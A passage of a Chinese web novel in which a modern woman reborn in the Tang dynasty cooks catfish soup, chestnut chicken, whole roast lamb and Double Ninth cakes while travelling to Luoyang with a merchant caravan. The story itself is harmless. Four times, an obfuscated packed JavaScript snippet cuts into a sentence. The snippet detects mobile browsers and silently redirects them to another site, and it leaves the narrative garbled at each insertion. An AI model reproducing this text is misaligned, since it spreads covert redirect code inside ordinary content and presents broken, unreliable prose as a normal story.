潼关城坐落在黄河河谷和秦岭之间的夹道上，因此十分狭长，城内只有一条东西走向的主街，两侧分布着不少酒肆食店。康陶牵着马车边走边道：“我之前便琢磨着，咱们今日再怎么赶路，也来不及到下一个歇脚地方。倒不如晚些出发慢慢走，今夜在潼关城内留宿一夜，明早再继续上路不迟。” 尹遥闻言轻轻点头，康陶考虑得周到，她和七娘两个女子，若是错过了宿头，只得在荒郊野地歇脚，那可就太过危险了。 说话间马车停在了一座二层小楼前面，康陶笑道：“二位娘子，咱们今晚就住这家吧。” 潼关城里除了供给官员和驿使的官驿外，还有不少私人开的邸店，康陶选的这家规模不算很大，但看起来很是整洁干净。尹遥进车厢里拿了行囊，店伙计迎上来把马车牵到后院去喂，三人便走进了邸店。 “哟，小郎君好似有些面熟嘛，”店家是个约莫三十来岁的女子，正在柜台后面算账，见到几人未语先笑，“我怎么好像见过你似的？” 康陶咧嘴笑道：“店家好记性，我正是前几日才住过的。”说着便让店家给安排两间上房，又掏出串铜钱递了过去。 “得嘞，不多不少一百文，”女子数好钱，抬手指了指，“二楼右手边，走到底的两间就是了，保管又干净又安静。” “店家，我想问问能否借厨房一用？”尹遥上前跟店主打听。 “可以倒是可以，”女子嫣然一笑，道，“只不过娘子都来咱们潼关城了，怎地还要自己下厨，不打算去夜市逛逛吗？有很多好吃的好玩儿的呢！” “阿姐阿姐，我要去夜市！”一听有好吃的好玩儿的，尹七娘马上来了精神，拽着尹遥衣角撒娇。 尹遥被她磨的笑得不行：“好好好，去去去，那咱们也得先上楼，把行囊放下呀！” 这会儿已经日头西沉，潼关城门也已紧紧关闭，城内除了留宿的往来百姓外，还有轮值的兵士，因此街上分外热闹。 三人收拾好东西出门，找了个干净的小馆坐下，尹遥召来伙计问道有什么菜色推荐，那伙计热情推荐道：“来了潼关城，必是要尝尝咱们黄河鲶鱼汤的！” 伙计既如此说，尹遥便从善如流点了这鲶鱼汤，并又点了当地的特色酱菜，吃的点完了自然还要点些特色酒水。 “咱们这儿本地的土酒性烈，都是军爷们爱喝的，娘子倒不如尝尝富平石冻春？” “成，就来一壶石冻春。”尹遥痛快拍板。 过了一会儿，伙计麻利地将菜品端了上来：“娘子，潼关城美味来喽！” 这儿的黄河鲶鱼汤选取的是当日刚补的鲜活鲶鱼，约莫有一尺余长，处理干净后用油煎制，佐以姜、蒜头、豆豉、花椒等，再以小火慢炖而成。只见其汤色乳白如奶，鱼肉软嫩，出锅前还撒了葱花和芫荽调味，伙计一端上来,香气就四处飘散，溢满了整个桌子。 鲶鱼肉质鲜嫩少刺，只是不易烹调，下锅前还得先用盐洗去表面的粘液才行，且鱼汤要炖到如此浓郁的口感，最少也得花费个把时辰，实在是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418709|168926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道功夫菜。 尹七娘迫不及待拿起勺子盛了一勺鱼汤，尹遥笑道：“你仔细烫！”说着自己也尝了一口，不由夸道，“嗯，口感细腻鲜美，汤汁醇厚浓郁，再加上芫荽的清香，各种味道交织在口腔里，简直令人回味无穷！” 尹遥又细细品尝了桌上的美酒佳肴： 产自富平的石冻春果真口感清新，竟还隐约带着些梅花的香气，令人回味悠长。 酱菜则是用萝卜丁和笋丁腌制，也是脆爽可口，酸咸适中。 要说唯一美中不足的，恐怕就是这粟米饭了，多少有些松散粗糙，若是能加入粘糯的黍米中和一下，想必会口感会好得多。 享用完这一餐美味后，尹遥又带着尹七娘去逛夜市。潼关城内宽阔的主街上，有不少小摊贩吆喝售卖，还有杂耍的和唱戏的，一片人间烟火气，不仅尹七娘兴奋得不行，就连康陶都显得兴致勃勃的。 见尹遥笑吟吟看他，康陶有些赧然道：“三娘子有所不知，咱们洛阳城里日暮时分便会关闭坊门，大家伙儿只能留在坊内，每年唯有上元节前后才会放夜三天，我也是很少有机会能逛逛夜市。” 好家伙，尹遥暗道，她穿越到的是个小县城，差点忘记大唐东西两京是有严格宵禁的，看来以后是没啥夜生活了，自己得趁今晚好好享受享受才行。 姐妹俩又买了杏酪浆一边溜达一边喝。 这杏酪浆跟现代的杏仁茶差不多，是把甜杏仁儿带水磨碎后用绢布榨取去渣，将汤汁煮沸后，再佐以米浆和饴糖混合，在这深秋时节，来一杯热乎甘甜的杏酪浆，别提多舒服了！ 尹遥喝得满足地眯起了眼。 这会儿邻街的一家酒肆中，一主一仆正在靠窗的桌边对坐，桌上摆了许多道佳肴美馔，那随从正执筷大快朵颐，对面的他主人却是只一杯杯地喝着酒。 这桌上坐着的，正是出身京兆杜氏的杜昭，以及他的随从杜安，二人正在赶往洛阳赴任的途中。 “郎君，你怎么魂不守舍的？”埋头吃得差不多了，杜安才想起关心自家主人。 见对方不搭理自己，杜安又不住嘴地念叨： “昨儿不还归心似箭来着，怎么今儿反倒犹犹豫豫的？” “郎君你别光喝闷酒啊，到底咋啦？” “你是不是要说‘说了你也不懂’？” “快说说，你不说我怎么懂啊？” “闭上嘴，吃你的吧。”听到他这久违的碎嘴子，杜昭哭笑不得，没好气地骂道。 “哟哟哟，我就知道，杜安不是郎君最亲近的人咯，”杜安压根儿就不怕他，仍旧小声嘀嘀咕咕：“郎君现在有什么心里话啊，都不告诉杜安了，是准备到了洛阳，全讲给圣人阿兄是吧？” 唉，这碎催可真是哪壶不开提哪壶！ 听他提起当朝天子，杜昭心里更烦了，忍不住又猛灌了一杯酒。 5. 板栗烧鸡 距离杜昭发现自己重生回十年前，已经过去了大半日，他却还是满脑门子的官司。 那守城校尉所说不错，杜昭确实是天子近臣，不过不只是萌家族的荫，更是因为他与当朝天子是感情深厚的至交好友。 只不过，上一世兴冲冲赶往洛阳赴任的杜昭还不知道，那里是个什么龙潭虎穴。 如今已是九月初，若他没记错，英国公此刻正在扬州起兵讨伐太后，待到兵败被诛后又牵连到天子，以致天子亲信被血腥清洗。 就连此刻坐在自己对面，正叽叽喳喳的杜安，也是在这次清洗中，稀里糊涂地送了命。 他还清楚记得，天子曾信誓旦旦承诺过，定会保护好追随自己的人。 可他也清楚记得，自己曾跪在对方面前，恳求能保杜安一命，可回答他的只有一言不发的沉默。 是了，后面的十余年，在武家和酷吏的围剿下，无数后妃、属官、内侍一个个悄无声息消失，又听到天子为谁说过一句话？至于自己能活到几时？也许明日，也许后日，谁知道呢？ 然后杜昭睁开眼，发现自己回到了十年前。这一年他才二十岁，还没卷入到那一切阴谋诡谲之中。 那时是当局者迷，可如今跳出来再看，自己的这位阿兄是如何懦弱无能的一个废物啊！ 杜昭深深叹了口气，扭头盯着窗外的人来人往半晌，忽然说了句，“杜安我问你，若你知道前面是刀山油锅，还会往里跳吗？” “啥？”杜安心道：完了，自家郎君怕不是把脑子摔坏了？ 就在这时，窗外传来一个女童清脆的声音：“阿姐阿姐，酪浆若是馊了就不能喝了吗？那我非要喝会怎样呀？” 又有一年轻女子，似在逗那女童，笑道：“馊了还喝呀？那你就是个大傻子！” “听到没？”杜安爆发出哈哈大笑，凑过来对着杜昭的耳朵大吼道，“那你啊，就是个大傻子！” 听到身后的动静，那年轻女子蓦然回首，朝着发出声响处看来，与杜昭的目光撞了个正着，他眼中映出一张艳若桃李的面庞。 只见女子愣了下，冲着杜昭粲然一笑，他忽然听到自己胸膛中发出砰砰砰的声音，那一瞬间仿佛她身后的整条街都跟着亮了起来。 “阿姐，前面有人在吐火圈，咱们快去看呀！”女童被街头杂耍艺人吸引，拉着女子要去凑热闹。 女子笑应了，又朝他轻施了一礼，便转过头领着那女童继续走远了。 望着街上热闹的人间烟火，杜昭忽然想通，整个人的眉目都舒展了起来。 没错，既然知道那是个不堪托付的废物，他若还非要去帮，岂不真是个傻子？ 把酒杯往桌上一掷，他道：“咱不去洛阳了！” 杜安惊了，他家郎君今儿怎么想一出是一出的：“不去洛阳了？也不管你那圣人阿兄了？” “对，不伺候了！”杜昭恢复了平日里的洒脱，朗声笑道，“郎君带你闯荡江湖去！” “啥？”杜安压根儿不知道自己的小命保住了，只再次心道：完了，看来自家郎君是真把脑子摔坏了！ …… 第二日天还没亮，尹遥三人便离开了潼关城。出了潼关后，沿路便没什么城池了，只有每隔三十里的一个个小驿站，以及它们附近开着的山野邸店。 到了傍晚，他们投宿在一家小邸店，尹遥朝店家借了厨房，正在准备晚饭。 白日里马车经过一片栗树林，这会儿正值深秋，恰是栗子成熟的时节，一颗颗带着毛壳的栗子散落了一地，圆滚滚的很是诱人。尹遥没忍住央康陶停了车，跑下去捡了一大堆栗子。 栗子自古以来就深受华夏百姓喜爱，不仅香甜美味，对身体也有许多益处。《本草纲目》记载：“栗味甘性温，入脾胃肾经。栗治肾虚，腰腿无力，能通肾益气，厚肠胃也。” 尤其这几天他们急着赶路，吃喝都不如在家时仔细，正好吃点栗子，既能调理肠胃、预防消化不良，还能提高免疫力呢！ 这邸店虽小，后院倒是养了一窝鸡，尹遥便花三十文朝店家买了一只，准备炖锅热乎乎的板栗烧鸡。这店家服务还挺到位，说帮她杀好再送过来，于是尹遥这会儿只需要处理板栗就成了。 今儿她捡的都是熟透了的毛栗子，外面带着绿色毛刺儿的壳已经裂开，尹遥小心地把外壳剥去，取出里面棕褐色的栗子，用水一一洗净。 这第二层壳却没那么好剥，想要徒手直接剥，怕不是要把指甲都抠秃了，尹遥想了想，在每个栗子上划了个十字开口，然后直接一股脑儿埋到了灶灰里，栗子受热发出果壳和果肉脱离的噼啪声，约摸着一刻钟就能完整脱壳了。 “尹娘子，”剥栗子的工夫，店家的鸡也杀好了，还给放好了血拔好了毛，殷勤地提了过来，笑道，“您放心，咱家的鸡保准又肥又嫩！” “得嘞，辛苦您了！”尹遥笑着接了过来，店家这话倒没撒谎，她刚才特意挑了只不到半岁的小公鸡，这个大小的鸡既不会柴得咬不动，也不会炖得久些肉就散了，正适合做这道板栗烧鸡。 店家又笑呵呵递过来一个陶琬，里面装的正是她刚才特意嘱咐，让留下来的鸡血。尹遥化了点粗盐水倒了进去，用个筷子搅拌均匀，加速鸡血的凝固，再泡发几朵带来的干香菇，正好做个香菇鸡血汤。 这年代没有现代的各种复合补剂，太容易缺乏微量元素了，鸡血正是补铁补血的好帮手。 尹遥又将那整鸡放在案板上，掏出随身携带的菜刀，手起刀落，麻利地将它分解成大小适中的一块块。她又往灶上的陶釜中倒入冷水，并葱、姜、花椒、桂皮同鸡肉一起下锅，给鸡肉焯水去腥。随着水开后，再用勺撇去浮沫，将鸡肉捞出洗净，这才起锅烧热油，准备开始烹调。 这年头植物油还不多见，只有芝麻油、蔓菁油等有限的几种，而且价格还十分昂贵。还好尹遥临 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418710|168926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行前买了几大块猪板油，在家提前榨好了猪油，用小罐子装着，带上了马车。 猪油冷却后便会凝固，白如脂玉一般十分漂亮，尹遥挖了一勺下入锅中，又放了几块□□糖，随着冰糖慢慢融化变得焦黄，这糖色就炒好了。快速将葱姜蒜爆香，下入焯好的鸡肉快速翻炒片刻，加入已脱好壳的板栗，她又倒入了些许酱油，再沿着锅边淋上一圈米酒，随着酒精快速蒸发的“滋啦”一声响，鸡肉的香味瞬间被激发了出来，飘散到整个厨房中。 “嘶……”尹遥享受地吸了口气，叹道，“真香啊！” 说起来唐代的调料也算挺丰富了，像酱油、醋、花椒、豆豉、豆酱之类的都已经出现，还有专门的酱料铺子可供挑选，倒不用自制那么麻烦了。只不过华阴毕竟是个小城，基础的酱料虽然齐全，但像胡椒和芫荽这类的珍稀调料，却是买不到的。尹遥心想，等自己到了洛阳，一定要好好逛逛街，把各种食材都搜刮个遍才是！ 心里琢磨着到洛阳以后的计划，她又往陶釜里加入开水，盖上盖子开始炖鸡肉。趁着这会儿工夫，尹遥把米饭也蒸上了，她吃不惯粗糙的小米饭，因此今儿是把粟和黍混合在一起蒸的，借黍的粘性为米饭增加一些口感。 这边鸡血汤也煮上了，尹遥又将炖肉的锅盖打开大火收汁儿，随着汤汁咕噜咕噜地翻滚，一时间浓郁的肉香弥漫在厨房中。 “康郎君！”见泡发好的香菇还剩几朵，她朝外喊了一声，“劳烦你把车上的芸薹拿进来呗？” 这芸薹也就是油菜，还是昨儿尹遥在潼关城夜市闲逛，正巧碰到个菜农在卖，她便买了一捆新鲜的，待会儿再炒个香菇油菜就差不多了，要讲究荤素搭配营养均衡嘛！ “来啦！”康陶拎着水灵灵的芸薹走了进来，一进厨房也忍不住吸了口气，道，“真香啊！三娘子做了什么好吃的？” “板栗烧鸡、鸡血汤、香菇芸薹，并香喷喷的二黄饭，你看如何？”尹遥笑眯眯地报菜名儿。 “三娘子你是这个！”听了这话，康陶咽了咽口水，伸出了大拇指。 尹遥颇为自豪地一笑，接过芸薹利索地择好洗净，放在旁边沥干水。灶台上一共两口锅，一个炖着鸡、一个煮着饭，就连鸡血汤还是她在旁边支了个小瓮做的，这下却是再腾不出一个空锅了。 好在鸡肉的汤汁已收的差不多了，鸡肉裹满了浓郁的汤汁，撒入一把切好的葱丝，红红绿绿的煞是好看。 用个大碗把板栗烧鸡盛出来，尹遥又盛了三碗饭，再将煮好鸡血汤的陶瓮从小炉子上端下来，康陶接过来，小心地端去前厅。 这边尹遥的香菇油菜也炒好了，自个儿端着走出了厨房，叫道：“七娘，吃饭啦！” 其实根本不用尹遥喊这一嗓子，尹七娘早就坐在桌边了，她双手抱着碗饭，一边眼巴巴地盯着康陶端上来的菜，一边不停吞着口水，着急地念叨着：“阿姐快来呀！七娘在等你吃饭啊！” 6. 烤只全羊 “唔，这个鸡肉好嫩，阿姐你吃！” “这鸡血汤竟一点儿都不腥，倒是十分清香，三娘子怎么做到的啊？” “板栗好香甜啊，米饭也是香喷喷的！” “三娘子手艺太好了，都快比上……不对，比我们东家还好！” 捧场王尹七娘先不论，就连康陶也“背叛”了他的东家，倒戈到了尹遥的锅铲下，在俩人的轮番吹捧下，尹遥饱餐一顿，再喝几口血汤溜溜缝儿，这才餍足地撂下筷子。 就在这时，厅门口忽然传来一阵叱骂声，几人扭头看去，只见一个穿金戴银的胡商正在呵斥仆从，那仆从却是一副欲言又止又无可奈何的表情。 胡商说的是番邦话，尹遥一句也听不懂，康陶倒是听明白了，向姐妹二人解释道：“这胡人说要吃烤羊，手下却不会做，这才发起怒来。” 见他一直叫骂不休，尹遥起身走了过去，笑道：“这位郎君，可是想要吃烤羊？我可以效劳。” 胡商一路走南闯北，也听得懂大唐话，只是开口番邦口音还是十分浓厚。他怀疑道：“你这小娘子会做我们的西域菜？我要吃的可是烤全羊，不是什么乡野小菜。” 尹遥心中盘算一番，自信地开出条件：“自然会做，只不过烤全羊颇耗工夫，所需原料也十分复杂，因而佐料、柴火你要全包，另外还要再付我两百文的酬劳。” 胡商方才也看到三人在厅中大快朵颐，又实在是馋这口烤羊肉，不由有些心动。 见状尹遥又加了把劲儿，笑道：“当然，也可以等您吃过之后，觉得满意了再付钱，不满意不收钱。” “行，就依小娘子！” 把尹七娘送回屋，尹遥便随仆从去往厨房，一只杀好的羊正摆在桌案上，她上前掂量了下，处理好的羊约摸着有十斤出头，旁边五花八门的各种调料也是一应俱全。 这个重量的羊不大不小，正是肉质最嫩滑、脂肪分布最均匀的时候，烤制后口感必定极为鲜嫩，看来这胡商还是个识货好吃之人。 尹遥撸起袖子净了手，开始处理起羊肉：先是用刀快速在羊腹部、大腿等肉厚的地方割开数个小口，露出里面的嫩肉。又用葱、姜、粗盐、花椒、小茴香、孜然抹遍整个羊身，再给它做半刻钟“马杀鸡”，来让羊肉入味儿。 这会儿天色已是不早，没时间等几个时辰腌制羊肉，不过尹遥也有自己的办法。她环视了一圈厨房，挑了个大小适中的陶瓮，把加好料的羊整个儿塞了进去，又盖上盖子。这样一来，在密封环境下，羊肉就能快速入味儿了。 忙活完这些，她便走出厨房，挑了块偏远的角落，准备开始搭建烧烤用的火堆，这待会儿烟熏火燎的，可别把人家的邸店和货物给点着了。 康陶从院外回来，拎了几根笔直的树枝：“三娘子，你看这个粗细行吗？” “行的行的。”尹遥看了下，满意地点头，又笑道：“康郎君再劳你帮我生个火。” 康陶放下树枝笑呵呵走过来，先在地上挖了个一尺见方的浅坑，把作为火引子的干草在里厚厚地铺了一层，再用柴火十字交叉堆叠将其围起来，摞成一个下大上小的金字塔形柴堆。 他又去厨下拿了根烧着的木柴，投入到柴堆上方的缺口中，随着干草被引燃，又将四周的柴堆也逐渐点燃。 尹遥仍觉得火有些不够旺，又朝店家要了些木炭，在上面淋了点米酒，也投入到柴堆之中，火焰呼地窜起，熊熊燃烧起来。 “嗯，这样还不错，”满意地拍了拍手，她又拿起三根树枝洗净表皮，再把头部削尖，搬出瓮中腌好的羊，从头到尾、板板正正地穿在了树枝上。 待羊肉固定好后，再用酱油、豆豉、饴糖兑成酱汁，在羊的外皮上涂抹均匀，又抹上一层酥油，整个准备工序终于完成了。 “架高一点……唔，有些太高了，再往下一点点……好，就是这样！”尹遥指挥，那仆从跟康陶一人举着一边，把羊整个架在火堆上烤了起来。 烤一整只羊最起码要花个把钟头，闲来无事，由康陶充当翻译，尹遥跟那仆从聊了起来。 她这才知晓方才骂人的名为米思禄，是从西域米国来的珠宝商人。他们整个原本商队有五十人，万里迢迢来到大唐，数日前顺利抵达了目的地——长安西市。 商队是停了下来，小首领米思禄却又听说，如今当权的皇太后久居东都洛阳，许多达官显宦自然也都跟了过去，因此他又带着自己的几名手下，离开商队继续东行，准备前往洛阳，把手里的宝贝卖个更好的价钱。 只不过商队的厨子却还留在长安，这一路上他只好叫手下米福每日打点饮食。可这米福平日只是个干粗活儿的，随便凑合凑合也还罢了，怎料主人今日突发奇想要吃烤全羊，他哪会做这玩意儿？ 宰羊褪毛他倒是会，可后面该干啥就完全不知道了，于是被嘴里淡出鸟来的米思禄，给骂了个狗血淋头。 米福偷偷瞟了一眼，心道这小娘子年纪轻轻的，也不知能不能行？ 尹遥懒得理他这眉眼官司，只用手慢慢地旋转那树枝，让羊肉烤制得更加均匀，随着表面脂肪的融化，一滴滴羊油溢出滴在了炭火上，发出滋滋啦啦的声响，羊肉慢慢变成金黄色，诱人香味儿弥漫开来。 “嘶，”米福深深地吸了口气，眼睛一亮，又叽里咕噜说了一堆话，差点咬到自己的舌头。在康陶的翻译下，大致是：“尹娘子你实在是太厉害了，这香味儿比起我们最会做烤羊的厨子来，也是毫不逊色，我家主人肯定一万个满意！” 尹遥又往羊肉上涂了几遍酱汁，酱汁一沾到烤得金黄的羊肉上，就发出唰啦的一声，水分瞬间蒸发，羊肉外面形成一层酥脆的硬壳，散 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418711|168926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 发出扑鼻的酱料香，与它本身的肉香交杂在一起，混合成烤全羊独有的复合香气。 最后均匀地撒上一层孜然与胡麻，尹遥将羊肉从火堆上拿下来，挪到干净的案板上，笑道：“走，上菜去吧！” 米思禄在厅内正等得不耐烦，这太阳都落山半天了，他还饿着肚子没饭吃，回想起商队里厨娘的手艺，又低头瞅了瞅自己肥硕的肚皮，他不免有点后悔，当日怎么就非要自个儿跑出来去洛阳？嗐，谁让他这人除了爱吃就是爱钱，要不是为了钱，自己才不遭这罪呢！ “米郎君，你的烤全羊来喽！”尹遥走在前面，康陶和米福在后面抬着羊肉，迈进了前厅。 随着清脆的女声一道进来的，是一阵让人难以抗拒的肉香，米思禄抻长脖子凑了过来，尹遥感觉自己从他眼睛里看到了绿光，仿佛饿狼终于见着了小绵羊般，差点把她吓一激灵。 还不待那烤羊放到桌上，米思禄就迫不及待地拿起小刀，割了最肥美的一块腿肉，丢进了自己张开的嘴中，大嚼了起来。 酥脆的表皮之下，热腾腾的羊油争先恐后冒了出来，再往下的羊肉却是极为鲜嫩，一咬之下便汁水横流，肉皮的焦香、羊油的醇厚、羊肉的鲜香，再加上各种香料的味道，瞬间充斥满他的整个口腔！ 米思禄眼泪差点下来了！想他自从出了长安城，便没怎么再吃过像样的饭食，米福整天只会东凑合西糊弄，把他给气得个半死，可那废物的厨艺就那德行，就是打死也没法儿突飞猛进啊！ 还好今儿这小娘子果真有本事，这才让他感觉自己又活过来了！ “妙啊！实在是太妙了！”一刻不停地吃了十余块肉，米思禄这才从桌案上抬起头，夸赞道，“小娘子快坐，给我讲讲你这手艺从何而来，实在是太美味了！” 又看到尹遥身后的米福，米思禄这会儿吃满意了，倒也没再拿他撒气，只踹了他一脚，道：“去叫大伙儿都过来吃饭！” 片刻后商队的其余人也过来了，众人围着那烤羊开始大快朵颐，米思禄又叫店家上了酒来，边吃边喝好不快活，中间尹遥还去马车中拿了几张胡饼，在方才那烤炉的余温里热了热，端上来瞬间又被抢着瓜分一空。 酒足饭饱后，米思禄爽快地丢给尹遥一枚金币，尹遥笑眯眯收下了。大唐的官方货币乃是钱帛并行，金银并不是法定货币，不过胡商们来大唐路途遥远，却更喜爱携带轻便的金银，待到用时再去金银器铺子兑换成钱帛也不迟。就连尹遥自己出门前，也是将家中的铜钱兑换了几块小银锭，又随身带些铜钱供日常花销。 尹遥手上的这枚金币，折合成铜钱差不多五百文的样子，倒比说好的酬劳再加上羊肉胡饼的钱还多了不少。 能让一向扣门的米思禄如此大方，自然也是另有所求，他凑过来嘿嘿笑道：“尹娘子，不如与我们同行？” 7. 九九重阳 米思禄热情邀请道：“娘子每日只需帮我们准备晚饭，到了洛阳我再付你三枚金币，如何？” 咦，跟胡商同行吗？ 尹遥心中默默盘算，如今距洛阳还有十余日路程，三枚金币值一千五百钱，折算下来就是每日一百五十文。虽说比今儿的两百文酬劳要少些，但却是稳定的进账，倒也是笔不错的生意。 跟康陶商量了一番后，尹遥笑道：“行，不过我们三人要随商队一道吃饭，可以吗？” “成交！”为了这一口美味，米思禄毫不犹豫答应了下来。 米思禄满意地回了房间，尹遥也满意地收下了一金币定金，她美滋滋点头：不错不错，这下连饭钱都省了。 后面的路程倒没什么特别的，每日便是早起赶路、傍晚投宿，晚上尹遥再给众人做顿晚饭，一天天也就过去了，不过她倒交到了一个意想不到的新朋友。 结伴上路的第二日便是九月初九重阳节，虽说人在路上，没什么时间去爬山登高，但做点应景的重阳糕，尹遥还是办得到的。 这日吃完晚饭，她就跑到了后院，找出马车上带着的稻米和糯米，用店家的石磨磨成了细细的粉末。 从华阴出发时带着的熟赤豆，那日尹遥在潼关售卖芋泥牛乳时用掉了些，剩下的被她一直泡在糖水中，这会儿也取了出来，正巧这时尹七娘在院中玩，尹遥索性把她叫来帮忙，将这糖渍赤豆放在石钵里捣成豆沙馅儿。尹七娘兴致勃勃地跑了过来，搬了个小板凳坐在一旁，鼓捣得十分认真。 然后尹遥又往这两种米粉中加入饴糖，再分次慢慢地跟水一起混合，边倒水她边用手搅拌，直到变成一个个疙瘩状的小粉团，之后再用筛子将这些小粉团过筛，变成一粒粒散落的粉状。 先在蒸笼上垫了层湿润的麻布，尹遥麻利地把筛好的米粉铺了薄薄一层，用刮板轻轻抹平后，再铺上一层薄薄的豆沙馅儿，如此这般重复几遍后，最后在表面撒上一层米粉，颜色雪白雪白的煞是好看。 待灶上的水烧开后，她便把这蒸笼上锅，用大火蒸了约莫一刻钟后，尹遥将蒸笼取下掀开，随着一阵热腾腾的雾气，浓厚的米香味儿瞬间飘散出来。她满足地吸了口气，感觉浑身通透又舒坦，又在上面撒了满满的一层胡桃和红枣干，再浇少许蜂蜜水，这美味的双色重阳糕就做好了！ “呼，好烫！”尹遥切下来一块吹了吹又递给尹七娘，七娘一向喜爱甜食，早就在一旁等得口水直流了，她迫不及待地踮起脚，直接凑在尹遥手边咬了大一口，蜂蜜的清香、胡桃的酥脆、红枣的香甜，再配上软软糯糯的米糕，还有里面细腻的红豆沙，香味一瞬间直冲天灵盖儿！ 她接都来不及接，直接就着尹遥的手，狼吞虎咽地把这块重阳糕给瞬间下肚，还眨巴着大眼睛道：“阿姐，我还要吃！” 尹遥笑着又切了一块，让她拿在手里，又将剩下的切成小块用碗装了，带着尹七娘一起去了商队那边。 米思禄这商队一行共八人，除了米思禄本人和六个手下外，还有一名米思禄的姬妾，她跟尹遥年纪相仿，是个十分年轻漂亮的胡女，名叫罗珊娜。 按照甲方爸爸米思禄的要求，尹遥今儿做饭还是以肉食为主，大家吃得都挺开心，唯有罗珊娜只夹了几筷子就不吃了，模样儿看着还委委屈屈的。 “娘子，我方便进来吗？”尹遥找到米思禄的房间，上前轻轻敲门笑道。 罗珊娜过来开了门，米思禄还在厅中跟手下闲聊，这会儿房间只有她自己。她一脸无精打采，用不太熟练的中原话问道：“有什么事吗？” 这胡姬白日坐在马车里，晚上吃了几口饭就回到房间关上门，从不跟人来往，实在是朵高岭之花。 不过面对这高岭之花尹七娘却是丝毫不怵，她边吃着手里的重阳糕，边抬头甜甜地答道：“娘子，我阿姐给你送好吃的来啦！” “阿姐做的重阳糕可好吃啦！不信你看！” 说着，她将手里软糯糯的糕点举起来，“啊呜”又咬了一大口，十分真诚道：“又软！又糯！又香！又甜！吃一口甜到心里！可比蜜还甜呢！” “这是……”听到尹七娘这一连串的形容词，再看她吃得这么香甜，罗珊娜眼睛霎时一亮，露出好奇的神色。 尹遥仿佛看到她的高冷面具裂开了个缝，不由心道：猜的没错，她果然是爱吃甜食！ “今儿是我们汉人的重阳节，小娘子不尝尝重阳糕吗？”将手中陶碗举了起来，尹遥笑眯眯地示意。 热腾腾的米糕散发出来香甜的味道，罗珊娜忍不住使劲儿咽了下口水，整个人都热情了起来，露出甜美的笑容：“尹娘子，快进来！” 罗珊娜原本长得就十分美丽动人，只是平日里谁也不搭理，是个冰霜美人儿，实在令人敬而远之。这会儿她如此粲然一笑，却好似春暖花开、冰雪消融了一般，露出了下面深藏着的……嗯，吃货嘴脸！ “嗷！甜的！好香！太好吃了！”三人围坐在桌边，罗珊娜一块块把糕点往樱桃小口中送，吃得停不下嘴，仪态气质什么都顾不得了。尹七娘坐在另一侧，捧着她那一大块，也是啊呜啊呜地埋头苦吃。尹遥倒是端庄的多，一口一口慢慢吃着，但也没停下来过。 三人仿佛比赛似的，不过片刻，那满满一盘的重阳糕就见了底，尹七娘手里也空了，三人都心满意足地摸了摸肚皮，长舒了一口气。 “三娘，这个是叫什么啊，怎么如此好吃！”罗珊娜再没有一丁点儿方才的冷淡，眨巴眨巴眼睛，凑过来朝尹遥娇滴滴道。 哟？尹遥笑睨了她一眼，心想：好家伙，从没名没姓到“尹娘子”再到“三娘”，这么快就姓都不叫了，还是个打蛇随棍上的主儿。 说着罗珊娜又委屈道：“这米思禄，整天就知道肉肉肉，都快把我腻死了！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15418712|168926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不过她也懂投桃报李，拿出了米思禄带着的波斯枣还有葡萄干儿，大方地请尹家姐妹二人品尝。 之后的一路上，几个女孩子越发熟悉起来，尹遥每日一有空闲就鼓捣点甜食，什么黄米凉糕、饼皮绿豆糕、牛乳布丁，每日换着花样儿的来，罗珊娜则是掏出了各种干果蜜饯，至于尹七娘嘛，主打提供个情绪价值，把俩人捧得那叫一个心花怒放。 罗珊娜放飞自我之后，原来竟是个十足的傻白甜，后来她连自己的马车都不坐了，每日非要挤到尹遥他们这边，跟尹七娘凑在一起闹个没完，笑得嘎嘎嘎的。 尹遥笑话她，道：“看看你现在，哪里还有一点冷美人儿的样子！” 罗珊娜嗔了一眼，滚到尹遥怀里，搂着她脖子边蹭边撒娇道：“三娘，我今儿还要吃甜的！” 尹七娘也蹭了上来：“阿姐，我也要吃！我帮你一起做！” 